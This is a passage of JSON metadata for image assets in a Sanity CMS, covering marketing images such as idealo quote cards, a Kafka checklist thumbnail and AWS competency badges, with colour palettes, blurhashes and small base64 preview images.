:{"_type":"sanity.imagePaletteSwatch","background":"#bfc8d8","foreground":"#000","population":8.47,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bfc8d8","foreground":"#000","population":8.47,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c83c2","foreground":"#fff","population":1.12,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6f749b","foreground":"#fff","population":5.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b03a1c","foreground":"#fff","population":0.27,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"idealo Andreas quote - de.png","path":"images/sczeoy4w/production/a154e75006164d876f80142341f536ec0e947ff3-1200x628.png","sha1hash":"a154e75006164d876f80142341f536ec0e947ff3","size":438472,"uploadId":"dDlmSu6HWOdzRtHgwAjurTkK9elk2ouH","url":"https://cdn.sanity.io/images/sczeoy4w/production/a154e75006164d876f80142341f536ec0e947ff3-1200x628.png"} {"_createdAt":"2024-09-26T07:04:56Z","_id":"image-29c8f3debbfcf9a74f4636c2d5f4fcf3c2ac172c-3000x2250-png","_rev":"YPzePRnofxqIDzAJMDrlvM","_type":"sanity.imageAsset","_updatedAt":"2024-09-26T07:04:56Z","assetId":"29c8f3debbfcf9a74f4636c2d5f4fcf3c2ac172c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VIHT^PEU@;7%0g9H2{;^VW}={t9D#iK1EMtRs.R*oeR+","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3333333333333333,"height":2250,"width":3000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEiUlEQVQ4jR3SbUwTdxwH8F/RmOCbZa+W7CFmyZJpYjayODKXTXELi1vQTbtxbZFCy921UJ5K9f6iBBgKwngoU1EExgSHWQb4wJxcUaCQnhS461GebBigouCU425zMc65+/8XePd99ck3+X4BAMDESGBiRKBo0UDR4jaKEdtMjLRsYqQnJkbqp2iRNjFSopmVasxsqNnMSnltWdnmZ1x0M0GwjDkgmIMXBMFTiNnZBbu+7ANCCOyzjqyCMRQtNlC0OEfR4iq4RNGiz+IIddpzJoechyLDae7bLfmuX7IXPG+WEgQzmIPnmIMVguAeABQCAAvRrzavoWZW2mxipDITIwVNjLS42pKixYcWR+gBk3f7z+wjswp7cGYoPcNfGnbHFmIEoxjBQ8zBBEEwCC9tOmd4Y+t5w9ux7YbXt7YbjKkjryWmiQxFi+0ULYYpWpyiaLHbxEg9Vlf4gT1nUrNmTgi56V0lM3lbCwmCG5iDYcxBF0HQArHx1+Ni4/m4D3b37dr++UDcxwmDuz/75lZ2giV4ce+B4dG9ScN9CZZgkTF11GVipHYzK02ZGOlavvNC/pxni5sgqMAcnMAccARBOnxlDfbvSxnxG+0hv9Eu+/fb5IH9NjlotMkzRpv8yGiT5402+afEtFCGmQ1VWRyhXjMr9TFs7/cXsnL3vODWv0MQbMEcvIURbIK84rt6Qfk9vbjqvn7kxH39YMmCzh1b0LnjC6sZ5xUt/Jd19E4kLXf6otUVvpySOS4nZ4zNW1jpchIz/FFrLooitQC382IAIwCoqFshjW0audDxFznbopHKeoVUNyjE26SQqnMKKTul4KPlS3+wnshoatbEtC17ctnqGn9iccjXE+nQh9vzCVTvTgCII4BR1Bqo153X9MY2TT/VrOLKswquaVBwbZOiVzco+MRpRS+oeHiH9UT6kzPCkZTM8afJGWOrq582M+LmL2QClQBwye0E/fA6gGO1ir/81ONB78n5UJ03NFtffWuxyTv4+Fxt8MF3NbP3CioWlw+VLIRo93RzklO+wrjHx3MKpvyFlTPcjx1L790Y0l6+clNZNz73DHwBDaC4WtlVXjkX33n8DBssZurDRV93TxfuGZKLqO7GgqamdM/ETXvOlHTAKbenZMr1Jd7fW1s6ly5d7VUa+YBa4BO0BD6gvuITNAMvqACek8QQKdm34d/DG2N0tO6ojqLadRQl6Cjq6rD7Ey7NMXDG4hibSnKEwvaccJe38e7P1/wr3T5B6+EDaicfUL/1Cdr7fEDdsNawufQyEA9EEQ7eJRyUEQ76MAczBMGtec/mfKfzZo0lPXznQLr8yJ4zHiqvm++52qv0+ASN5wNqh0/QqviAGs8H1Og1kGwDeI6iN2AEOzCCJoxgEnOwjBGMiO4dxWmOwRaLY2wlyRF6anWNjR7zzjZ09Sk/+AStgw+orXxALeUD6qc+Qdu4Bq5+hyDYSBDsxwh+xRwsEgR/v+DWD13JTq1JZob6KUZ6bmKkf8ysdC2/LJLy28CKyydo9XxAbfAJWqFP0HbyghbNB1T4H+CdqQfRcGHaAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#303665","foreground":"#fff","population":2.47,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8d4207","foreground":"#fff","population":2.81,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ef6f05","foreground":"#fff","population":7.76,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7b86b2","foreground":"#fff","population":1.21,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7a8beb","foreground":"#fff","population":3.83,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4a55a8","foreground":"#fff","population":2.66,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef6f05","foreground":"#fff","population":7.76,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"hero-AlloyDB.png","path":"images/sczeoy4w/production/29c8f3debbfcf9a74f4636c2d5f4fcf3c2ac172c-3000x2250.png","sha1hash":"29c8f3debbfcf9a74f4636c2d5f4fcf3c2ac172c","size":121088,"uploadId":"qsOmuwTjpP9AyzFOAy6dyvCr6RVXJeYe","url":"https://cdn.sanity.io/images/sczeoy4w/production/29c8f3debbfcf9a74f4636c2d5f4fcf3c2ac172c-3000x2250.png"} {"_createdAt":"2024-11-05T12:34:26Z","_id":"image-5b40f61b550a1a08b3560dbfc68de4f37f3db6c2-1200x628-png","_rev":"U360V83F77Z1JcZt4RgMih","_type":"sanity.imageAsset","_updatedAt":"2024-11-05T12:34:26Z","assetId":"5b40f61b550a1a08b3560dbfc68de4f37f3db6c2","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M47-XLIj-K-o02~pSR%0xs9c4p=;t8R=$^","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACg0lEQVR4nEWSW1MSARiG9yc0NYEIuxx22YVlXUBCROUkqOXY1IhJqJnjWVHCE4IgJ42sZjrOdNGffRqtxov34r15vm/mfQSLtEQgvEssUWFk4ojRZJVw7BRRLWFx7mF1lRnwHGNTzhj0XmBXW0j+Hop5jRZu49ZrONQ6g0odm1xDcHiWSacPKMxXKS7UWHrV4NnTGqpxiMW1j9X9Dpt8DxS1FsH4R16++s5SscPT3C6hyCFuvcGgt4FgFQtEwmtMp3aYzZaYmyqTSVYwwhVk4xiveY4WaqAMNRC1BvJQhxeLP2le/qZ7WuP87QqLcxtE4k0kfwfhseM1enCLeKJMcvKEzFSNVPaC8ckm45MdErn3TOQ+EB67wq1fokd6rG//4rr3g/reFvXl52wurJCZbuMxbxAsUhEzWiKZq5KZuSA72yI72yU722Nqrs/0808kp28wY12c/iZaqEth5Stnp33WFvLk0zFeziySzPVQgl8QHotFjMguY5kTJibPGMucM5qqE0s1iKc7xDNXDI/3UIOXONQGTn+LsUyf4lKXuZkCUTNBdGSVoZEersANwkNbAae2hi+0gz+8jxYs4QmUcPkP8ejHKEYV2agj+erY1QtEXwv9SZ9E9oaJ9BlGaAfFOLk75NC6CA8seWz2RUT3CnZljQH3Ojb3FpJ2gKSWGfRUsN1pU71b2al3CEQ/EU1+I5b6TGj0GsVs49BuV24iPLLOozjm0bVVvMY2dmUTybuNGamgh46wy++wuo8YkP9p42ujmH18wx/xha/wBtu4As2/LqpNhIeWeVyOPKr3DbK+hV3ZQFI2MIM76EP72OUyVs898FZs0ddD9HXv+u3n/3ML/AOvPW3LDTLI0QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#43497c","foreground":"#fff","population":1.83,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041b70","foreground":"#fff","population":0.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a9a7bc","foreground":"#000","population":6.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a9a7bc","foreground":"#000","population":6.18,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c83c2","foreground":"#fff","population":0.94,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#727496","foreground":"#fff","population":4.66,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c16f3d","foreground":"#fff","population":0.46,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"idealo quote - Honey - de.png","path":"images/sczeoy4w/production/5b40f61b550a1a08b3560dbfc68de4f37f3db6c2-1200x628.png","sha1hash":"5b40f61b550a1a08b3560dbfc68de4f37f3db6c2","size":360268,"uploadId":"Hui4dRLt8Y1aa93BMqv26sAS5ZGxJmCi","url":"https://cdn.sanity.io/images/sczeoy4w/production/5b40f61b550a1a08b3560dbfc68de4f37f3db6c2-1200x628.png"} {"_createdAt":"2024-09-26T08:34:41Z","_id":"image-230887bef7fe102e46fc83ddaac222f1a99633a7-1200x630-png","_rev":"U7GiXZxomc47lFvBHw1k2D","_type":"sanity.imageAsset","_updatedAt":"2024-09-26T08:34:41Z","assetId":"230887bef7fe102e46fc83ddaac222f1a99633a7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MDCrKv0;}4w@5ux]ogRjWooLK6$eWBNy$L","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsSAAALEgHS3X78AAACxUlEQVQokXXS/0+SCQDH8ec/qM6ViIQICEWAj6koiKIgXIomlSDwPHxTUIeeXypJ7cAyxTvTTJHKrS+61u5qrdptt/ql2+5+uK2/6t3Oa22t+Q+89v5sH+F4VYiTahlF7QhK3TinDT9Rc/YaGtM8Wkseff0ydQ1rGBs3Odeyg7Njg1TvDfKD46wMZSiG0uxEZHaiSYrhKQSlVsbcNEmTc47m9gVaXAVau5Zp6SzS1n2XjgvbtF8o09GzR6f/CYFAmZycp5SZZDedZS2apRyNcBC/zCM5jlBjTNLqmsPjv4W3bwWPv4i791c8/k1+DJTwB/foDz2hd/AZ7v6nBPq2WJJm2B+VOMhEKclxnsf7+WPEw++pAYRqXRyrbQp71wLO7gIO9y3sXXdweNZo923i6tnB1VPG4X2I2FbG23GH25dlXiY8vE66eSoH2I8FeJ64xK6UQlBoJAyWcay2WcTWHKJ9kQZHgQbHMqJjFav9F87Z1jGc36CuYQufM8/GlQAfUo38lT7Py4SPB9EI6+ExFoKLCBXVYap1STRnxqk1TaIzz6K35tBbF9FZC2gtt9FaVtFa19GLW/jaC5SCffw7auLTmIk/h538luhlT46yEp5GOFYZ5IQySoUqwcmaDJW1Wap001Qb5lAZF1GfXUJjXvkKOuxFCgMSH0dE/s6Ih4XvUm7eDvu4L2W+gFWR/0F1mkpNFoV2GqX+OirjwjegTtyi3naPpG+GF7L7cPKrhJc3yW7ep13sJ4YQKhSD1KrDGA0jGCxT6MxXURlmUdZ9D/5XKNo2kbzXeRzp4Z9MPe9SXRzEBg4LXw/7EU5VXcGsHaLJOkqjPYe5ef7w2EeD9wh35yiFArxJuChFwqyGxtiVYjyKxRB+UAyiVIVRa1PUGLOoz0yh1M8cCZqatunrXGL5Uoy7QYmJi/NMDPxMPniVm8F5PgPS5bRj4COhZQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#474c83","foreground":"#fff","population":1.99,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1c7c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ed6e14","foreground":"#fff","population":2.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9fa0d1","foreground":"#000","population":0.58,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8c9cd3","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9a5d5f","foreground":"#fff","population":1.97,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed6e14","foreground":"#fff","population":2.09,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"AIVEN - Checklist for Managed vs. Self-managed Apache Kafka - Thumbnail.png","path":"images/sczeoy4w/production/230887bef7fe102e46fc83ddaac222f1a99633a7-1200x630.png","sha1hash":"230887bef7fe102e46fc83ddaac222f1a99633a7","size":177255,"uploadId":"YKg3FnAF7R6Q1lr5DHCMvt0xAjErPWs7","url":"https://cdn.sanity.io/images/sczeoy4w/production/230887bef7fe102e46fc83ddaac222f1a99633a7-1200x630.png"} {"_createdAt":"2024-11-05T12:39:04Z","_id":"image-6d63c1fe2ba124f7971e7d07337790494fb72668-1200x628-png","_rev":"uHzmvE2HQDA7PXHnK38lsU","_type":"sanity.imageAsset","_updatedAt":"2024-11-05T12:39:04Z","assetId":"6d63c1fe2ba124f7971e7d07337790494fb72668","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M697l200?S-o01~pM}xut6D+00~URQRp-.","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACnElEQVR4nDWS204TCQBA5xM2GimlneltZtpO71wK2NLSFlCKvlAMIorBCmhlexHKpWBhKJbSoIjXoLgbdZM1Mbyhj/trZ2PFHzg5yTlCm3QLLfSA8ECRnuhj+mJlQr3LSOoj2iwPMVjztNtLGOUyHUoFk1pFcu+gBnbxhWt4unVsniompYLRsYZgtk8zOLjIZGaFqYl1bt3YYPTqGqr3TwzWHO22Au32xxgdZTrkCqJzi85ok4npl2QXDpidP+Ba5hB3d40OZQPBIE7SFZplZHCBdCpHeihPIl7E31VCDSyjBtZQgxVk/yYW9yZqsMbkzFt2nr5nW6+z33zBbuML6fFXSJqOcMl8Ey0wR/9Anmi8RCxZJpZaJzZcJTZSIzZSJ361SXS4ia/3KaHLe+SXPvL6zQmNxh4nH0/49+sZc4ufkYNNhDZpCl93jmhqmYGhVeJXNkiObjM0ViOVrpMa22f4+jMS6Wf4++r4e+vM5Y45evUXx8fHnJ1959vpf9xd+IISfI5wSZzC2/mASGKJSHKFSHKNy4kK/YOb9MWrdEe36IzoeMM6Nm8Vm1cnMXrAYuk1B4d/8+mfH2ztnjJw5QiLp4FwoWMSu/se/vAjgr0FfD1FXMECiq+I7F3C6l5GcpYxq6utkqJrC61nj+TYIdOz77id/UBs5DkOn47ZuY3whyGDSbyJTbmL1ZXFLN/H5JjH4lrE4ixgtP+sXKK9VXkdyb2Np6dJOH5Ef/KQUKSBGtCxalVE1xOEi4ZxZDGD5ppB8c63gJIyj7+riBYsYXIUMNjOgeeGcqCOq3O/Vdzhq2LzbGLRNn4BL7SNYzVnUJU7ODw/7bJIchZ/cAHNl8PkyGP4bXg+tujaQXTqre+MyipGeQWjvIpJfcL/Vd5+GZh31x4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#344474","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041c70","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c0c2cf","foreground":"#000","population":11.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c0c2cf","foreground":"#000","population":11.18,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c83c2","foreground":"#fff","population":0.84,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6e7396","foreground":"#fff","population":4.31,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ce7338","foreground":"#fff","population":0.29,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"idealo - wanis quote - de.png","path":"images/sczeoy4w/production/6d63c1fe2ba124f7971e7d07337790494fb72668-1200x628.png","sha1hash":"6d63c1fe2ba124f7971e7d07337790494fb72668","size":319896,"uploadId":"u2YzDCJcjqPEDyPALUuP4OWnRCxePOfm","url":"https://cdn.sanity.io/images/sczeoy4w/production/6d63c1fe2ba124f7971e7d07337790494fb72668-1200x628.png"} {"_createdAt":"2024-10-24T12:19:31Z","_id":"image-4671a65e619ef7913ec637ed398060390ca2769b-120x120-png","_rev":"bH41C32nCYYyBv2hLCeY6g","_type":"sanity.imageAsset","_updatedAt":"2024-10-24T12:19:31Z","assetId":"4671a65e619ef7913ec637ed398060390ca2769b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eHP%L#s.00xv9F%M~qR*_3t700R*4noKae9a?vxuM_oJ4nt7oJWA%M","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":120,"width":120},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADsElEQVR4nIWUW2sbRxTHlYf2WxQM7VNe/UHyVPxSSKBg00Ip7VP7AVpSYhqcBJqWFvISWmJaR42t6Lqruy3JlmTJsq62rnuTLOsWyVppd/5ljiw5dghd+DMzR6vfzpzzn2N5sPEr/rba4HD7YHd5YXe/K8dCPvbaKRjPX7w8+nH98bd37q4tLS8vf2CxWG5Z5s/m1g6Oc0UoqgZZUaFoTaha61JNKCpfN6E1WyRF1VjptNpxe0OOh09+v7dy74uPrkH5lzlkOBzO/4Bm64zE52ftc4zHY5imuZCuT0xJVjuCN+xYf3QDyoEy352qIbgbg90lwunxwSX44RGD2I+ncN7pgjF2Te+F2t1eNGQF5UoVdpeAf6w2yql12wGnW0QoFIKmSDBNAwxXz3VoiKB3VtaWZjtUFLS1OoqZKApHERSO93GSjaOcjaB27MOgWQKbjjnlLeTbUKXjFgOOH3569A0BNU3DZHiGcTMFXQ5iIvkxkQLQpSB0NQqzXwWMd4FXUN3khXr+wpq2cLvwYhjTMcxRC6xXBGsfgrVTYP1TsIsm2HQEMHMBmI1XQNM0uSvMHYcwvQIaBgxjCja9gKkPwPQBzOmYYrPfjEWV5xAug8swiMF9SkBZ0aiSdUkh33Eb8RckWaGCNSQFkqzSmo+KMvOsqjZRl2S0zzvE4Omz8NtRrTWQOc7TbXGLQRo93iB27G64xAACoQhZiset2068dooU9wb3sG33IJHKoFKtk+U4kFVqDeQKJwiGo/BfvvTK5iKJ/jCi+0nyo0sIgN+sl9sOuqYcaHMIBCxXLoE2h3cqyQrr9Qe09dZZG8VSGZH9JIEO08fI5ArI5ks057FILI6DRBrpTA6poxwqtTqqdWl25L82X2VPK9XexVhn80R3uj2633xXe7E4ogdJJA4z2E+kaM5jXPyjicMMytU6pY2A939+8p3gDwuyovbGus7IV5MJQWt1CclUhiCxg0OC7EbjCEcOsBs9wF4sgXgyDZ6yxQ5XVr/6+PHTZ6u+wC5B9Uso13A0ogoXSmU6Mj9iOpNHJptHNl9ErlBCvnhKFa43ZGp1ltu3P/3w7trXSxtP/1gVb0C5v0YXFxgM3oDnuNvro9vtodfr07rfH9D4Zjii5sJdwDvYLd4lVm5A+fEX5jVmms1nJp/H+HxqGNQ/58Ab0Geroj8snJSrfVVrsnljfZ/mjZinZHPLtgASlB//s8+//OT+w1++/3PTWrC7RNMl+JnT48f/aetfO9Y3fsN/k7oq2TVutjQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#232a37","foreground":"#fff","population":5.23,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04040c","foreground":"#fff","population":0.15,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#232a37","foreground":"#fff","population":5.23,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4bcc4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2d99c","foreground":"#000","population":0.33,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#83888c","foreground":"#fff","population":1.57,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc8424","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"retail competency badge light.png","path":"images/sczeoy4w/production/4671a65e619ef7913ec637ed398060390ca2769b-120x120.png","sha1hash":"4671a65e619ef7913ec637ed398060390ca2769b","size":6627,"uploadId":"jV8ZeEDhS3K4xTF1W7kJ3JGXr8RBIirg","url":"https://cdn.sanity.io/images/sczeoy4w/production/4671a65e619ef7913ec637ed398060390ca2769b-120x120.png"} {"_createdAt":"2024-10-24T12:21:38Z","_id":"image-6ed939fda446366d5e17172cdbc96375c2d88f23-120x120-png","_rev":"bH41C32nCYYyBv2hLCeuGc","_type":"sanity.imageAsset","_updatedAt":"2024-10-24T12:21:38Z","assetId":"6ed939fda446366d5e17172cdbc96375c2d88f23","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eGP%O.xa00o#9Z%M~qWW_3of00Rk4noeaeE2_3xaIUs:0Kogt6o0%M","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":120,"width":120},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADsElEQVR4nIWU224bVRSGzQW8BVIkuOptHqRXKDdIrYSUCCSE4AoeAFRERJW2EgWB1JsKlKgEk8T1KeOzg41tHMen+Hyao+24cep4xp7ZP9rLsZO4Qoz0a/bsmfn22nv9a9m+2/oRL+wOuLwBOD1+OL1vyrVQgL10C+bz7T+y32w+/uLuvY2V1dXVt20221u2+bWze4B8sQxZUSHJCmRVg6J2r6RBVvizBlXrkmRFZZVac+D1R1wPn/x8f+3+x+/egvKVOWQ0Gs1/gNbtkfi41z+DruuwLGshw5hYoqQMBH/UtfloCcqBEo9OURE++htOjw/uwwA8QhCHvjASqQzOBq/AGLul/4Q6vX50JBn1RhNOj4Df7Q46U/u+C26vD5FIBKoswrJMMFxft6ERgt5d21iZRSjL6KttlHNxlLIxlPIJVAsp1AsxtPIBXGgVsKnOKTeQN6HywOsLub7+9tHnBFRVFZNRD7qWgSGFMRGDmIghGGIYhhKHNWwC5pvAa6hh8UQ937af2LhdeDLMqQ7rsgt2XgbrH4P1M2DDGthYA5teAsxaAGb3a6BlWdwV1oFLmF4DTROmOQWbjmEZF2DGBaypTnOzd+Yiy3MIl8llmsTgPiWgJKuUybYok++4jVStB1GSKWEdUaYxSVQgyzPPKoqGtiihfzYgBj8+G6+OZquDXP6UqsXrC9MLfj9wHsLrCyEUiSMSjdO8fd9N1uLzgfBf2Hce4p9MDo1mm+Y5kDVaHZyWqghH4wiGY3C4BLx0+7Dn8MAjhHAUSyKeSMN9GMT2i33s7jnpG+7TPYcHqXQW9UZrBnS4/FNRktlweEGhd3t9iLKCVluikkymT5DJFlAsVZDJFgkcjSURjSUQT6bJ+LVGi3ZJW/5tZ69QazTPdd1gS+VF8EqtgXK1gXqzjUqtiZNcEbFEGkfxJOLJY6QzeYItgA++f/KlEIwKkqyc64bBqLSAK6iB169HeHU+JHirI1G0/AiO4imKNnW13cYcuLb+6XuPnz5bD4SOCGpcQece4xpdXkKUFJSrdRxn8kikjukoeDIyuSIt1GyL1Opsd+588M69jc9Wtp7+su5bgs411nWKsCMqlE2uVkcky7RFGb3+gKxFEfKWw7vE2hKUb39hXtPEZDKBbhgYj3VaQNcN0nzM/cttN++zN6DP1n3BqFCtN4eKqjFucK55j1wWrxDejAunFezsOhZAgvLtf/jRJ+8/ePjDV7/u2EtOj8/yCEHG/fd/2v3Tic2tn/AvV3Qt3MpeRjoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#292d39","foreground":"#fff","population":9.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04040c","foreground":"#fff","population":0.15,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#292d39","foreground":"#fff","population":9.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bfc2c6","foreground":"#000","population":0.53,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3df9e","foreground":"#000","population":0.28,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#717484","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eca82f","foreground":"#000","population":0.66,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aws data and analytics competency (1).png","path":"images/sczeoy4w/production/6ed939fda446366d5e17172cdbc96375c2d88f23-120x120.png","sha1hash":"6ed939fda446366d5e17172cdbc96375c2d88f23","size":6702,"uploadId":"H6v5gFLuUwkcwAS47Hpy2jXB4RkQ2NIu","url":"https://cdn.sanity.io/images/sczeoy4w/production/6ed939fda446366d5e17172cdbc96375c2d88f23-120x120.png"} {"_createdAt":"2024-10-24T12:35:24Z","_id":"image-217ebf74b2f64043e02cfa3b1783ccf3b440c632-2500x2500-png","_rev":"eOGTVivSz2oqfsen7KGM9O","_type":"sanity.imageAsset","_updatedAt":"2024-10-24T12:36:51Z","altText":null,"assetId":"217ebf74b2f64043e02cfa3b1783ccf3b440c632","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eJJ%^CVr00of9FxuWBRja{WB00o}uPa3?GROoft7j[of0Mnn-oS^%3","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2500,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAABcRAAAXEQHKJvM/AAAFAUlEQVR4nI2VC0yTVxiGf7kITQCddxQ3NtRkcWZbyrJlwzVuXjIUcENgchONVkDw0gEzWvidqIjiBbxwv5Xb1gmZMqwTFRYgXmcLtKVou0GhgFQtRdpC//a8S+sWo2FxJ3mTc76T8yTfOd/3HoqaZADUFNCUA0IoR9CUK5Ipd7s2Ua7/xBxAUVMmOzs5TOjFQsEML5xk+eLQ1LXgO4QjyTkcCe5rEefJRvTiBQjxYr0W2kRTTgPZbrON59w45Lzr98hyqbEcdG5j9jlKGN5UiSXevRVb5lYjwjvZHLx4uWbdklkICXGcFLZoEeWy/tOFPrnbvaNb0jxrOg/O7FbwZ4zIvptukSZMg5T7BuSb5jAPot4Z+TP6wy5ZFKfyRsw3YdXJyfOFQuFL0Ck0TTlwlrG8gtf47jjEC2uuyox5euF4FHMhI9IqTI8gwgMRRJgWSS7wo0n9D7HWG8f2Mi05GcPNpfn1NxuvhCkUilkAnqdvg0HtxcqKn/llWoJ/nbCqSC++d9sqbb9PpO1iIu0QQ9YuhrxTgq7OdnTLOomqW0HUKqVlqE89PPLkicBoHPUD4GqHcjgcp79q3vJuyPDcV5ge2N16Q8SM6MfIhJmBXQwDM2OFxUpgsVphtq/te4RhGMbMMF260bGUe1LVmzRNO1EebK5P5MbAiLQ4tujo3hB9s+gyGRl8CtOzMRhMJoyaTDBOmO1w07gZ4xNmmMy2mBH6sTEiU2n0gl/aGoLjcza6LOX6ULP8kmh2UEojJ2jb4/AtPEtt0UVornRAe/Mhuh8M4pZKi84+HbrUOogfaiFXD0A+1A3pkBTN7RIcyrtk2bArV/t+0IGrHh/EpVGefsnyNdtO6wPjz5CvNh3HSZ4A95NqIT0swk81d3H8Vznyr6tQ3qjEuYtSFF1rRfmdH1F8pwSp5QUI2nGKRCYVWwPizurmfrxbQk1n75T7hR/T+28/TVZFZiJjVznaeHX446AIAsFtHPhZgmyRAmVXlcirl6HkeitKblWj4FYh+GUFCIw/hW/3FFrXxZ7Vzf2EJ6Fc34ull3yxs9EvcOvj0M27LZWFdegWtaOvTYkOWT+uy/pxV6WFrEcHifJ5yh0aGSQaCZokYqTn1lvW7zinXRaQ9psHOyGVsl1kaGhgRGqcryhjb7D+mugi0Q48gmH0GZ4ZjdAZDBgzTcA0zsAwboZxfAKGcSOMEwboDQYiU2r0pXVtDeu32x4l2oficrnOD8rYPg1HvFPPp/o/rK+ttii6laRXrUZPfx96+/uh1mjQpx